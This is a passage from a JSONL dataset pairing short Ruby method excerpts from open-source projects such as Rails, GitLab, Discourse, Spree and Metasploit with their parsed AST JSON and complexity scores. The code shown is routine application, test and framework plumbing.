"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"users.uploaded_avatar_id\"]},{\"type\":\"sym\",\"children\":[\"uploads\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"users.primary_group_id\"]},{\"type\":\"sym\",\"children\":[\"groups\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"categories.latest_post_id\"]},{\"type\":\"sym\",\"children\":[\"posts\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"categories.latest_topic_id\"]},{\"type\":\"sym\",\"children\":[\"topics\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"categories.parent_category_id\"]},{\"type\":\"sym\",\"children\":[\"categories\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"badges.badge_grouping_id\"]},{\"type\":\"sym\",\"children\":[\"badge_groupings\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"post_actions.related_post_id\"]},{\"type\":\"sym\",\"children\":[\"posts\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"color_scheme_colors.color_scheme_id\"]},{\"type\":\"sym\",\"children\":[\"color_schemes\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"color_schemes.versioned_id\"]},{\"type\":\"sym\",\"children\":[\"color_schemes\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"incoming_links.incoming_referer_id\"]},{\"type\":\"sym\",\"children\":[\"incoming_referers\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"incoming_referers.incoming_domain_id\"]},{\"type\":\"sym\",\"children\":[\"incoming_domains\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"post_replies.reply_id\"]},{\"type\":\"sym\",\"children\":[\"posts\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"quoted_posts.quoted_post_id\"]},{\"type\":\"sym\",\"children\":[\"posts\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"topic_link_clicks.topic_link_id\"]},{\"type\":\"sym\",\"children\":[\"topic_links\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"topic_link_clicks.link_topic_id\"]},{\"type\":\"sym\",\"children\":[\"topics\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"topic_link_clicks.link_post_id\"]},{\"type\":\"sym\",\"children\":[\"posts\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"user_actions.target_topic_id\"]},{\"type\":\"sym\",\"children\":[\"topics\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"user_actions.target_post_id\"]},{\"type\":\"sym\",\"children\":[\"posts\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"user_avatars.custom_upload_id\"]},{\"type\":\"sym\",\"children\":[\"uploads\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"user_avatars.gravatar_upload_id\"]},{\"type\":\"sym\",\"children\":[\"uploads\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"user_badges.notification_id\"]},{\"type\":\"sym\",\"children\":[\"notifications\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"user_profiles.card_image_badge_id\"]},{\"type\":\"sym\",\"children\":[\"badges\"]}]}]},\"with_indifferent_access\"]}]}]}","id":"fe2d15e0-72ca-4d80-b29e-5749f103882a"}
{"repo_name":"rails","file_path":"./repos/rails/actionpack/test/controller/flash_hash_test.rb","start_line":186,"raw_source":"def test_discard_then_add\n      @hash[\"hello\"] = \"world\"\n      @hash[\"omg\"]   = \"world\"\n      @hash.discard \"hello\"\n      @hash[\"hello\"] = \"world\"\n\n      @hash.sweep\n      assert_equal({ \"omg\" => \"world\", \"hello\" => \"world\" }, @hash.to_hash)\n    end","complexity_score":7.2,"ast_json":"{\"type\":\"def\",\"children\":[\"test_discard_then_add\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@hash\"]},\"[]=\",{\"type\":\"str\",\"children\":[\"hello\"]},{\"type\":\"str\",\"children\":[\"world\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@hash\"]},\"[]=\",{\"type\":\"str\",\"children\":[\"omg\"]},{\"type\":\"str\",\"children\":[\"world\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@hash\"]},\"discard\",{\"type\":\"str\",\"children\":[\"hello\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@hash\"]},\"[]=\",{\"type\":\"str\",\"children\":[\"hello\"]},{\"type\":\"str\",\"children\":[\"world\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@hash\"]},\"sweep\"]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"omg\"]},{\"type\":\"str\",\"children\":[\"world\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"hello\"]},{\"type\":\"str\",\"children\":[\"world\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@hash\"]},\"to_hash\"]}]}]}]}","id":"b2ed6b19-e102-4ec9-a7e0-52fa4c664664"}
{"repo_name":"puma","file_path":"./repos/puma/test/test_log_writer.rb","start_line":53,"raw_source":"def test_write_writes_to_stdout\n    out, _ = capture_io do\n      Puma::LogWriter.stdio.write(\"ready\")\n    end\n\n    assert_equal \"ready\", out\n  end","complexity_score":8.4,"ast_json":"{\"type\":\"def\",\"children\":[\"test_write_writes_to_stdout\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"masgn\",\"children\":[{\"type\":\"mlhs\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"out\"]},{\"type\":\"lvasgn\",\"children\":[\"_\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"capture_io\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Puma\"]},\"LogWriter\"]},\"stdio\"]},\"write\",{\"type\":\"str\",\"children\":[\"ready\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"ready\"]},{\"type\":\"lvar\",\"children\":[\"out\"]}]}]}]}","id":"3cd68965-f9be-4324-b21f-ed8d73a990c6"}
{"repo_name":"rails","file_path":"./repos/rails/actionpack/lib/action_dispatch/routing/route_set.rb","start_line":472,"raw_source":"def eval_block(block)\n        mapper = Mapper.new(self)\n        if default_scope\n          mapper.with_default_scope(default_scope, &block)\n        else\n          mapper.instance_exec(&block)\n        end\n      end","complexity_score":10.1,"ast_json":"{\"type\":\"def\",\"children\":[\"eval_block\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"block\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"mapper\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Mapper\"]},\"new\",{\"type\":\"self\",\"children\":[]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"default_scope\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"mapper\"]},\"with_default_scope\",{\"type\":\"send\",\"children\":[null,\"default_scope\"]},{\"type\":\"block_pass\",\"children\":[{\"type\":\"lvar\",\"children\":[\"block\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"mapper\"]},\"instance_exec\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"lvar\",\"children\":[\"block\"]}]}]}]}]}]}","id":"15451be7-25a8-429f-a65c-a94e7b51fa00"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/workers/mails/reminder_job.rb","start_line":50,"raw_source":"def render_mail\n    # Have to cast to array since the update in the subsequent block\n    # will result in the notification to not be found via the .unsent_reminders_before scope.\n    notification_ids = Notification\n                         .unsent_reminders_before(recipient:, time: Time.current)\n                         .visible(recipient)\n                         .pluck(:id)\n\n    return nil if notification_ids.empty?\n\n    with_marked_notifications(notification_ids) do\n      DigestMailer\n        .work_packages(recipient.id, notification_ids)\n    end\n  end","complexity_score":15.5,"ast_json":"{\"type\":\"def\",\"children\":[\"render_mail\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"notification_ids\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Notification\"]},\"unsent_reminders_before\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"recipient\"]},{\"type\":\"send\",\"children\":[null,\"recipient\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"time\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"current\"]}]}]}]},\"visible\",{\"type\":\"send\",\"children\":[null,\"recipient\"]}]},\"pluck\",{\"type\":\"sym\",\"children\":[\"id\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"notification_ids\"]},\"empty?\"]},{\"type\":\"return\",\"children\":[{\"type\":\"nil\",\"children\":[]}]},null]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"with_marked_notifications\",{\"type\":\"lvar\",\"children\":[\"notification_ids\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DigestMailer\"]},\"work_packages\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"recipient\"]},\"id\"]},{\"type\":\"lvar\",\"children\":[\"notification_ids\"]}]}]}]}]}","id":"a9c24cbc-a218-476e-85df-abd5dccb74ce"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/rubocop/cop/gitlab/mark_used_feature_flags.rb","start_line":177,"raw_source":"def trackable_flag?(node)\n          feature_method?(node) || self_method?(node) || worker_method?(node)\n        end","complexity_score":5.6,"ast_json":"{\"type\":\"def\",\"children\":[\"trackable_flag?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"node\"]}]},{\"type\":\"or\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[null,\"feature_method?\",{\"type\":\"lvar\",\"children\":[\"node\"]}]},{\"type\":\"send\",\"children\":[null,\"self_method?\",{\"type\":\"lvar\",\"children\":[\"node\"]}]}]},{\"type\":\"send\",\"children\":[null,\"worker_method?\",{\"type\":\"lvar\",\"children\":[\"node\"]}]}]}]}","id":"f9487d97-02ac-4a81-a0ce-2f6369ffca36"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/support/helpers/models/ci/partitioning_testing/cascade_check.rb","start_line":21,"raw_source":"def _bulk_insert_callback_allowed?(name, args)\n        super || (args.first == :after && args.second == :check_partition_cascade_value)\n      end","complexity_score":7.3,"ast_json":"{\"type\":\"def\",\"children\":[\"_bulk_insert_callback_allowed?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"name\"]},{\"type\":\"arg\",\"children\":[\"args\"]}]},{\"type\":\"or\",\"children\":[{\"type\":\"zsuper\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"args\"]},\"first\"]},\"==\",{\"type\":\"sym\",\"children\":[\"after\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"args\"]},\"second\"]},\"==\",{\"type\":\"sym\",\"children\":[\"check_partition_cascade_value\"]}]}]}]}]}]}","id":"b79583b4-ae79-4142-90c2-c9009148253c"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/plugins/db_tracker.rb","start_line":21,"raw_source":"def on_socket_created(_comm, sock, param)\n        # Ignore local listening sockets\n        return if !sock.peerhost\n\n        if ((sock.peerhost != '0.0.0.0') && sock.peerport)\n\n          # Ignore sockets that didn't set up their context\n          # to hold the framework in 'Msf'\n          return if !param.context['Msf']\n\n          host = param.context['Msf'].db.find_or_create_host(host: sock.peerhost, state: Msf::HostState::Alive)\n          return if !host\n\n          param.context['Msf'].db.report_service(host: host, proto: param.proto, port: sock.peerport)\n        end\n      end","complexity_score":33.9,"ast_json":"{\"type\":\"def\",\"children\":[\"on_socket_created\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"_comm\"]},{\"type\":\"arg\",\"children\":[\"sock\"]},{\"type\":\"arg\",\"children\":[\"param\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sock\"]},\"peerhost\"]},\"!\"]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sock\"]},\"peerhost\"]},\"!=\",{\"type\":\"str\",\"children\":[\"0.0.0.0\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sock\"]},\"peerport\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"param\"]},\"context\"]},\"[]\",{\"type\":\"str\",\"children\":[\"Msf\"]}]},\"!\"]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"lvasgn\",\"children\":[\"host\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"param\"]},\"context\"]},\"[]\",{\"type\":\"str\",\"children\":[\"Msf\"]}]},\"db\"]},\"find_or_create_host\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"host\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sock\"]},\"peerhost\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"state\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Msf\"]},\"HostState\"]},\"Alive\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"host\"]},\"!\"]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"param\"]},\"context\"]},\"[]\",{\"type\":\"str\",\"children\":[\"Msf\"]}]},\"db\"]},\"report_service\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"host\"]},{\"type\":\"lvar\",\"children\":[\"host\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"proto\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"param\"]},\"proto\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"port\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sock\"]},\"peerport\"]}]}]}]}]},null]}]}]}","id":"617099a7-282f-4825-b965-9d96b1ab3fec"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/base/sessions/meterpreter.rb","start_line":381,"raw_source":"def reset_ui\n    console.unset_log_source\n    console.reset_ui\n  end","complexity_score":4.4,"ast_json":"{\"type\":\"def\",\"children\":[\"reset_ui\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"console\"]},\"unset_log_source\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"console\"]},\"reset_ui\"]}]}]}","id":"27685e10-59d9-498a-80fd-266cb1cdb8b1"}
{"repo_name":"rails","file_path":"./repos/rails/actionpack/test/dispatch/routing_test.rb","start_line":69,"raw_source":"def test_login_redirect\n    draw do\n      get \"account/login\", to: redirect(\"/login\")\n    end\n\n    get \"/account/login\"\n    verify_redirect \"http://www.example.com/login\"\n  end","complexity_score":6.4,"ast_json":"{\"type\":\"def\",\"children\":[\"test_login_redirect\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"draw\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"get\",{\"type\":\"str\",\"children\":[\"account/login\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"to\"]},{\"type\":\"send\",\"children\":[null,\"redirect\",{\"type\":\"str\",\"children\":[\"/login\"]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"get\",{\"type\":\"str\",\"children\":[\"/account/login\"]}]},{\"type\":\"send\",\"children\":[null,\"verify_redirect\",{\"type\":\"str\",\"children\":[\"http://www.example.com/login\"]}]}]}]}","id":"eb1dde94-1cf9-4460-90d2-35c9a55659e9"}
{"repo_name":"spree","file_path":"./repos/spree/core/app/models/spree/report_line_item.rb","start_line":11,"raw_source":"def self.headers\n      attribute_types.keys.map do |attribute|\n        { name: attribute.to_sym, label: Spree.t(attribute.to_sym) }\n      end\n    end","complexity_score":8.1,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"headers\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"attribute_types\"]},\"keys\"]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"attribute\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"attribute\"]},\"to_sym\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"label\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Spree\"]},\"t\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"attribute\"]},\"to_sym\"]}]}]}]}]}]}","id":"a999b8c1-4749-46f7-bb54-7b30c790055b"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/lib/active_record/core.rb","start_line":132,"raw_source":"def self.connection_handler\n        ActiveSupport::IsolatedExecutionState[:active_record_connection_handler] || default_connection_handler\n      end","complexity_score":3.2,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"connection_handler\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveSupport\"]},\"IsolatedExecutionState\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"active_record_connection_handler\"]}]},{\"type\":\"send\",\"children\":[null,\"default_connection_handler\"]}]}]}","id":"41a226ce-3aef-47b7-a449-2c1e4f7ba0f1"}
{"repo_name":"rails","file_path":"./repos/rails/actionmailer/test/test_helper_test.rb","start_line":301,"raw_source":"def test_assert_no_enqueued_parameterized_emails\n    assert_nothing_raised do\n      assert_no_enqueued_emails do\n        TestHelperMailer.with(a: 1).test.deliver_now\n      end\n    end\n  end","complexity_score":8.85,"ast_json":"{\"type\":\"def\",\"children\":[\"test_assert_no_enqueued_parameterized_emails\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_nothing_raised\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_no_enqueued_emails\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"TestHelperMailer\"]},\"with\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"a\"]},{\"type\":\"int\",\"children\":[1]}]}]}]},\"test\"]},\"deliver_now\"]}]}]}]}","id":"bab5f4a2-a064-4003-83ff-598e6d6b99cb"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/merge_requests/build_service.rb","start_line":133,"raw_source":"def get_target_branch\n      target_project.default_branch\n    end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"get_target_branch\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target_project\"]},\"default_branch\"]}]}","id":"98459ab4-cb73-40f6-94c8-edfedac3444a"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/yaml_serialization_test.rb","start_line":118,"raw_source":"def test_deserializing_rails_41_yaml\n    error = assert_raises(RuntimeError) do\n      yaml_load(yaml_fixture(\"rails_4_1_no_symbol\"))\n    end\n\n    assert_equal \"Active Record doesn't know how to load YAML with this format.\", error.message\n  end","complexity_score":7.6,"ast_json":"{\"type\":\"def\",\"children\":[\"test_deserializing_rails_41_yaml\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"error\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_raises\",{\"type\":\"const\",\"children\":[null,\"RuntimeError\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"yaml_load\",{\"type\":\"send\",\"children\":[null,\"yaml_fixture\",{\"type\":\"str\",\"children\":[\"rails_4_1_no_symbol\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"Active Record doesn't know how to load YAML with this format.\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"error\"]},\"message\"]}]}]}]}","id":"d52b6227-68cd-4b8a-b5e6-6cdedba538b3"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/models/concerns/sortable_spec.rb","start_line":115,"raw_source":"def ordered_group_names(order)\n      Group.all.order_by(order).map(&:name)\n    end","complexity_score":4.8,"ast_json":"{\"type\":\"def\",\"children\":[\"ordered_group_names\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"order\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Group\"]},\"all\"]},\"order_by\",{\"type\":\"lvar\",\"children\":[\"order\"]}]},\"map\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]}]}]}]}","id":"2cb127a4-e689-4d01-a0ca-c06e5cc9a1e9"}
{"repo_name":"discourse","file_path":"./repos/discourse/app/models/reviewable_queued_post.rb","start_line":35,"raw_source":"def updatable_reviewable_scores\n    # Approvals are possible for already rejected queued posts. We need the\n    # scores to be updated when this happens.\n    reviewable_scores.pending.or(reviewable_scores.disagreed)\n  end","complexity_score":6.2,"ast_json":"{\"type\":\"def\",\"children\":[\"updatable_reviewable_scores\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"reviewable_scores\"]},\"pending\"]},\"or\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"reviewable_scores\"]},\"disagreed\"]}]}]}","id":"2dfcd333-1461-41ee-a48d-3540afbf9702"}
{"repo_name":"forem","file_path":"./repos/forem/app/helpers/application_helper.rb","start_line":401,"raw_source":"def display_estimated_user_count?\n    estimated_user_count > LARGE_USERBASE_THRESHOLD\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"display_estimated_user_count?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"estimated_user_count\"]},\">\",{\"type\":\"const\",\"children\":[null,\"LARGE_USERBASE_THRESHOLD\"]}]}]}","id":"b04c7bc4-9d76-4f07-9cdd-6184eede9f61"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/bulk_imports/common/pipelines/badges_pipeline.rb","start_line":15,"raw_source":"def transform(context, data)\n          return if data.blank?\n          # Project badges API returns badges of both group and project kind. To avoid creation of duplicates for the group we skip group badges when it's a project.\n          return if context.entity.project? && group_badge?(data)\n\n          {\n            name: data['name'],\n            link_url: data['link_url'],\n            image_url: data['image_url']\n          }\n        end","complexity_score":10.5,"ast_json":"{\"type\":\"def\",\"children\":[\"transform\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"context\"]},{\"type\":\"arg\",\"children\":[\"data\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"data\"]},\"blank?\"]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"context\"]},\"entity\"]},\"project?\"]},{\"type\":\"send\",\"children\":[null,\"group_badge?\",{\"type\":\"lvar\",\"children\":[\"data\"]}]}]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"data\"]},\"[]\",{\"type\":\"str\",\"children\":[\"name\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"link_url\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"data\"]},\"[]\",{\"type\":\"str\",\"children\":[\"link_url\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"image_url\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"data\"]},\"[]\",{\"type\":\"str\",\"children\":[\"image_url\"]}]}]}]}]}]}","id":"658426ea-d724-43ae-882b-ec8fcfbfe7e2"}
{"repo_name":"spree","file_path":"./repos/spree/core/db/migrate/20250821211705_fix_unique_index_on_spree_order_promotions.rb","start_line":2,"raw_source":"def change\n    remove_index :spree_order_promotions, name: 'index_spree_order_promotions_on_promotion_id_and_order_id', if_exists: true\n\n    # Remove duplicate records before adding unique index\n    duplicates = Spree::OrderPromotion.select(:promotion_id, :order_id).group(:promotion_id, :order_id).having('COUNT(*) > 1').reorder('').pluck(:promotion_id, :order_id)\n\n    duplicates.each do |duplicate_promotion_id, duplicate_order_id|\n      order_promotions = Spree::OrderPromotion.where(promotion_id: duplicate_promotion_id, order_id: duplicate_order_id)\n\n      order_promotions.each_with_index do |order_promotion, index|\n        next if index == 0 # Keep the first one unchanged\n\n        order_promotion.destroy\n      end\n    end\n\n    add_index :spree_order_promotions, [:promotion_id, :order_id], unique: true, name: 'index_spree_order_promotions_on_promotion_id_and_order_id'\n  end","complexity_score":21.0,"ast_json":"{\"type\":\"def\",\"children\":[\"change\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"remove_index\",{\"type\":\"sym\",\"children\":[\"spree_order_promotions\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"index_spree_order_promotions_on_promotion_id_and_order_id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"if_exists\"]},{\"type\":\"true\",\"children\":[]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"duplicates\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Spree\"]},\"OrderPromotion\"]},\"select\",{\"type\":\"sym\",\"children\":[\"promotion_id\"]},{\"type\":\"sym\",\"children\":[\"order_id\"]}]},\"group\",{\"type\":\"sym\",\"children\":[\"promotion_id\"]},{\"type\":\"sym\",\"children\":[\"order_id\"]}]},\"having\",{\"type\":\"str\",\"children\":[\"COUNT(*) > 